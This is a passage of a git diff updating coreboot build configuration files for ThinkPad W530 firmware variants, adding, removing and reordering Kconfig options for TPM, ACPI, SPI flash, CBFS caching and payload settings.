CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -388,9 +395,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -400,6 +408,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -460,8 +469,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -483,10 +491,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -497,21 +501,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -528,13 +529,17 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -569,7 +574,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -592,6 +602,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -637,6 +650,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -652,13 +666,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -683,6 +696,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -696,13 +713,13 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_DECOMPRESS_OFAST=y diff --git a/config/coreboot-w530-dgpu-K2000m-maximized.config b/config/coreboot-w530-dgpu-K2000m-maximized.config index 22e79f7a9..e49ad2ee9 100644 --- a/config/coreboot-w530-dgpu-K2000m-maximized.config +++ b/config/coreboot-w530-dgpu-K2000m-maximized.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -67,6 +68,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -80,7 +82,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -98,7 +102,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -123,7 +126,6 @@ CONFIG_VGA_BIOS_DGPU_ID="10de,0ffb" CONFIG_VGA_BIOS_DGPU_FILE="@BLOB_DIR@/xx30/10de,0ffb.rom" CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="w530" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" CONFIG_VGA_BIOS=y @@ -136,13 +138,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -154,6 +156,10 @@ CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 CONFIG_VGA_BIOS_FILE="@BLOB_DIR@/xx30/8086,0106.rom" +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W530" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -201,10 +207,13 @@ CONFIG_PS2K_EISAID="LEN0071" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_BOARD_LENOVO_BASEBOARD_T530=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PRE_GRAPHICS_DELAY_MS=0 +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -249,29 +258,29 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set # CONFIG_VGA_BIOS_SECOND is not set CONFIG_S3_VGA_ROM_RUN=y CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -292,12 +301,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -340,7 +348,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ACPI_MADT=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -388,9 +395,10 @@ CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y CONFIG_HAVE_EXP_X86_64_SUPPORT=y -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_NUM_IPI_STARTS=2 +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -400,6 +408,7 @@ CONFIG_COLLECT_TIMESTAMPS_TSC=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set # end of Chipset # @@ -460,8 +469,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCI_ALLOW_BUS_MASTER=y @@ -483,10 +491,6 @@ CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_NO_DDR5=y -CONFIG_NO_LPDDR4=y -CONFIG_NO_DDR4=y -CONFIG_NO_DDR2=y CONFIG_USE_DDR3=y # end of Devices @@ -497,21 +501,18 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set -CONFIG_MRC_STASH_TO_CBMEM=y # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_NO_EARLY_WRITES=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_SPI_FLASH_ADESTO=y CONFIG_SPI_FLASH_AMIC=y CONFIG_SPI_FLASH_ATMEL=y CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -528,13 +529,17 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_DRIVERS_I2C_MAX98396 is not set CONFIG_INTEL_INT15=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_INTEL_GMA_OPREGION_2_0=y CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y @@ -569,7 +574,12 @@ CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_DEBUG_TPM is not set # CONFIG_TPM_RDRESP_NEED_DELAY is not set CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module # @@ -592,6 +602,9 @@ CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y CONFIG_ACPI_HAVE_PCAT_8259=y CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y @@ -637,6 +650,7 @@ CONFIG_USE_WATCHDOG_ON_BOOT=y # CONFIG_GENERATE_SMBIOS_TABLES=y CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # end of System tables @@ -652,13 +666,12 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -683,6 +696,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # @@ -696,13 +713,13 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_SMI is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set # CONFIG_DEBUG_BOOT_STATE is not set # CONFIG_DEBUG_ADA_CODE is not set CONFIG_HAVE_EM100_SUPPORT=y # CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set # end of Debugging CONFIG_DECOMPRESS_OFAST=y diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index 39aee49d6..c0322dbef 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -22,6 +22,7 @@ CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -67,6 +68,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set # CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set @@ -80,7 +82,9 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_GOOGLE is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_LIBRETREND is not set @@ -98,7 +102,6 @@ CONFIG_VENDOR_LENOVO=y # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set # CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set # CONFIG_VENDOR_SIEMENS is not set # CONFIG_VENDOR_SIFIVE is not set # CONFIG_VENDOR_STARLABS is not set @@ -123,7 +126,6 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2a CONFIG_VARIANT_DIR="w530" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set @@ -136,13 +138,13 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 @@ -153,6 +155,10 @@ CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W530" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 @@ -201,9 +207,12 @@ CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" CONFIG_BOARD_LENOVO_BASEBOARD_T530=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_L1_SUB_STATE is not set # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y @@ -248,27 +257,27 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_ACPI_CPU_STRING="\\_SB.CP%02X" +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 -CONFIG_CPU_SPECIFIC_OPTIONS=y CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_VBT_DATA_SIZE_KB=8 CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 CONFIG_INTEL_GMA_BCLV_WIDTH=16 CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_CBFS_CACHE_ALIGN=8 CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -289,12 +298,11 @@ CONFIG_XAPIC_ONLY=y CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y -CONFIG_LOGICAL_CPUS=y CONFIG_HAVE_SMI_HANDLER=y CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 CONFIG_SMP=y -CONFIG_MMX=y CONFIG_SSE=y CONFIG_SSE2=y CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y @@ -337,7 +345,6 @@ CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y 